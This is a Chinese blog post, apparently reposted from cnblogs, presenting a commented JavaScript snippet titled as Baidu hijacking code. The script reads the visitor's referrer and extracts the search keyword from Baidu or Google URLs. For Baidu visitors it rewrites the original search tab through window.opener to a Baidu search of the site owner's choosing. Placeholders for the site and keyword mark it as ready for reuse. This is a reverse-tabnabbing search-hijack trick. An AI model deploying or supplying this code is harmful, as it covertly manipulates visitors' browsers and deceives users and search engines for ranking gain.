百度劫持js代码

js代码为:

 

 1     var myDate=new Date();  //返回一日期对象,可以调用getDate(),内容为当前时间,这句是新建一个对象d建好对象后d就有函数date()中的所有特性
 2     var h=myDate.getHours(); //获取你现在的小时
 3     var refer=document.referrer; //链接到当前页面的前一页面的 URL 地址 
 4     var sosuo=refer.split(".")[1]; //以.为分割点,比如www.baidu.com;截取结果为baidu 
 5     var grep=null; 
 6     var str=null; 
 7     var keyword=null; 
 8      
 9     switch(sosuo){ //对sosuo里的值进行判断,是否为baidu或者为google
10     
11         case"baidu":     grep=/wd\=.*\&/i;    // 如果是baidu,grep=/wd\=.*\&/i
12         str=refer.match(grep)         
13         keyword=str.toString().split("=")[1].split("&")[0];     
14         console.log(decodeURIComponent(keyword));   
15         break;     
16         case"google":     grep=/&q\=.*\&/i;  // 如果是google,grep=/&q\=.*\&/i   
17         str=refer.match(grep)    
18         keyword=str.toString().split("&")[1].split("=")[1]; 
19         console.log(decodeURIComponent(keyword));   
20         break; 
21     } 
22     var strs=document.referrer; //链接到当前页面的前一页面的 URL 地址 
23     if(strs.indexOf('baidu.com')!=-1){ //判断baidu.com
24             //str = str.toLowerCase();
25     strs = "http://www.baidu.com/s?ct=2097152&si=你的网址/&wd=你的关键词"
26             window.opener.location.href = strs; 
27             //就打开http://www.baidu.com/s?ct=2097152&si=你是网址/&wd=你的关键词
28     }
打开代码

 

转载于:https://www.cnblogs.com/linyusong/p/5869155.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值